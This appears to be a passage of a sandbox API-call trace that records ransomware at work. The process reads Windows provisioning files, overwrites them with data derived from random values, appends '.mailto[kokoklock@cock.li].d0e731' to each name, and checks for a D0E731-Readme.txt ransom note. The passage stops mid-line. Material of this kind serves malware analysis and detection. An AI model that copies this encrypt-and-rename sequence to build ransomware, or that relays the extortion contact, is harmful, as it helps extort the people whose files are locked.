[0085.341] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.341] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.341] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1018, lpNumberOfBytesRead=0x2cd3fd34, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2cd3fd34*=0x1018, lpOverlapped=0x0) returned 1 [0085.342] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cd3fcfc | out: lpNewFilePointer=0x0) returned 1 [0085.342] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x1018, lpNumberOfBytesWritten=0x2cd3fd30, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2cd3fd30*=0x1018, lpOverlapped=0x0) returned 1 [0085.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3493310 [0085.346] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.346] WriteFile (in: hFile=0x2f4, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cd3fd2c, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2cd3fd2c*=0x20, lpOverlapped=0x0) returned 1 [0085.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.346] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.346] WriteFile (in: hFile=0x2f4, lpBuffer=0x3492488*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x3492488*, lpNumberOfBytesWritten=0x2cd3fd58*=0x8, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x2f4, lpBuffer=0x2cd3fd70*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x2cd3fd70*, lpNumberOfBytesWritten=0x2cd3fd58*=0x4, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cd3fd58*=0x4, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cd3fd58*=0x6c, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x2f4, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2cd3fd58*=0x20, lpOverlapped=0x0) returned 1 [0085.347] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cd3fd58, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cd3fd58*=0x4, lpOverlapped=0x0) returned 1 [0085.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0085.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492820) returned 1 [0085.347] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.347] CloseHandle (hObject=0x2f4) returned 1 [0085.347] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x33f2308 [0085.347] wcscpy (in: _Dest=0x33f2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" [0085.347] wcscat (in: _Dest=0x33f2308, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.347] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\1__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.349] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f2308) returned 1 [0085.349] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\1__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.349] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.349] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.349] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.349] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.349] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3483698) returned 1 [0085.349] RtlExitUserThread (Status=0x1) Thread: id = 1282 os_tid = 0x11e8 [0085.342] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml")) returned 0x20 [0085.350] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.350] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.350] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2cdbfef4 | out: lpFileSize=0x2cdbfef4*=6457) returned 1 [0085.351] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x1935, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.351] ReadFile (in: hFile=0x2f4, lpBuffer=0x2cdbfec8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x2cdbfec8*, lpNumberOfBytesRead=0x2cdbfec4*=0x4, lpOverlapped=0x0) returned 1 [0085.352] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491808 [0085.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34914e8 [0085.352] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492820 [0085.352] NtQuerySystemTime (in: CurrentTime=0x2cdbfea0 | out: CurrentTime=0x2cdbfea0*=132121176432422573) returned 0x0 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x37c69d68 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x23ce0d54 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x441b3281 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x2cbbb308 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xfe64e14f [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x22b587c2 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x3d79da1b [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x51f04176 [0085.352] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xa34e1abe [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xa4584880 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x8cf4eda3 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x99b968bf [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x15554e52 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xefdb3a2c [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xefb6c6f2 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x25ca82f3 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x604fd1d0 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x1b369379 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xed0a449c [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xd0e0b89d [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xd086f670 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x5a8bd9bf [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x4a9d5705 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x19ff7dad [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x5ce0568 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xa3fcf3db [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xf16d27a5 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xa35f0c7d [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xdf4b977c [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xad2c23dd [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0xf503cbb9 [0085.353] RtlRandom (in: Seed=0x2cdbfeac | out: Seed=0x2cdbfeac) returned 0x4d281cc0 [0085.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480750) returned 1 [0085.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491808) returned 1 [0085.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd3e8 [0085.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347ff58 [0085.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0085.364] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0085.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34b8390 [0085.364] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55d8058 [0085.364] ReadFile (in: hFile=0x2f4, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x1939, lpNumberOfBytesRead=0x2cdbfea0, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2cdbfea0*=0x1939, lpOverlapped=0x0) returned 1 [0085.365] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cdbfe68 | out: lpNewFilePointer=0x0) returned 1 [0085.365] WriteFile (in: hFile=0x2f4, lpBuffer=0x55d8058*, nNumberOfBytesToWrite=0x1939, lpNumberOfBytesWritten=0x2cdbfe9c, lpOverlapped=0x0 | out: lpBuffer=0x55d8058*, lpNumberOfBytesWritten=0x2cdbfe9c*=0x1939, lpOverlapped=0x0) returned 1 [0085.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342d988 [0085.365] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342cf88 [0085.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342cf88) returned 1 [0085.365] WriteFile (in: hFile=0x2f4, lpBuffer=0x342d988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cdbfe98, lpOverlapped=0x0 | out: lpBuffer=0x342d988*, lpNumberOfBytesWritten=0x2cdbfe98*=0x20, lpOverlapped=0x0) returned 1 [0085.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342d988) returned 1 [0085.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55d8058) returned 1 [0085.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0085.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347ff58) returned 1 [0085.365] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd3e8) returned 1 [0085.365] WriteFile (in: hFile=0x2f4, lpBuffer=0x3493310*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x3493310*, lpNumberOfBytesWritten=0x2cdbfec4*=0x8, lpOverlapped=0x0) returned 1 [0085.365] WriteFile (in: hFile=0x2f4, lpBuffer=0x2cdbfedc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x2cdbfedc*, lpNumberOfBytesWritten=0x2cdbfec4*=0x4, lpOverlapped=0x0) returned 1 [0085.366] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2cdbfec4*=0x4, lpOverlapped=0x0) returned 1 [0085.366] WriteFile (in: hFile=0x2f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2cdbfec4*=0x6c, lpOverlapped=0x0) returned 1 [0085.366] WriteFile (in: hFile=0x2f4, lpBuffer=0x34914e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x34914e8*, lpNumberOfBytesWritten=0x2cdbfec4*=0x20, lpOverlapped=0x0) returned 1 [0085.366] WriteFile (in: hFile=0x2f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2cdbfec4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2cdbfec4*=0x4, lpOverlapped=0x0) returned 1 [0085.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34914e8) returned 1 [0085.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492488) returned 1 [0085.366] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3493310) returned 1 [0085.366] CloseHandle (hObject=0x2f4) returned 1 [0085.366] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x12e) returned 0x3420928 [0085.366] wcscpy (in: _Dest=0x3420928, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" [0085.366] wcscat (in: _Dest=0x3420928, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" [0085.366] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\2__power_policy.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0085.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0085.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3420928) returned 1 [0085.367] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\2__Power_Policy.provxml", dwFileAttributes=0x20) returned 0 [0085.367] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348a608 [0085.367] wcscpy (in: _Dest=0x348a608, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\" [0085.367] wcscat (in: _Dest=0x348a608, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" [0085.367] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0085.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a608) returned 1 [0085.367] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482ed8) returned 1 [0085.367] RtlExitUserThread (Status=0x1) Thread: id = 1283 os_tid = 0x11ec [0085.364] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml")) returned 0x20 [0085.368] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml", dwFileAttributes=0x20) returned 1 [0085.369] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\Prov\\RunTime\\3__Power_Policy.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{fc01e91f-914c-45af-9d7c-0b2e5fbedf62}\\prov\\runtime\\3__power_policy.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0085.369] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2ce3fae4 | out: lpFileSize=0x2ce3fae4*=6457) returned 1 [0085.369] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x1935, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.369] ReadFile (in: hFile=0x2f4, lpBuffer=0x2ce3fab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ce3fab4, lpOverlapped=0x0 | out: lpBuffer=0x2ce3fab8*, lpNumberOfBytesRead=0x2ce3fab4*=0x4, lpOverlapped=0x0) returned 1 [0085.468] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x33e4738 [0085.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e68 [0085.468] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55dd6a0 [0085.469] NtQuerySystemTime (in: CurrentTime=0x2ce3fa90 | out: CurrentTime=0x2ce3fa90*=132121176433673285) returned 0x0 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x5641ed8b [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x5cc34245 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x4317aa1b [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x2dcb64ee [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x97532381 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xbd97cc1d [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xa160f360 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x5231dab2 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x905c72a9 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xbdbd73ad [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x55b43b1b [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xc100e7a9 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x4d171c93 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xd066c80b [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x9c7829ac [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x85b3441c [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xb0ec4f4a [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x7f85d701 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x9a17792e [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0xe77719f2 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x2acef4a [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: Seed=0x2ce3fa9c) returned 0x71027531 [0085.469] RtlRandom (in: Seed=0x2ce3fa9c | out: 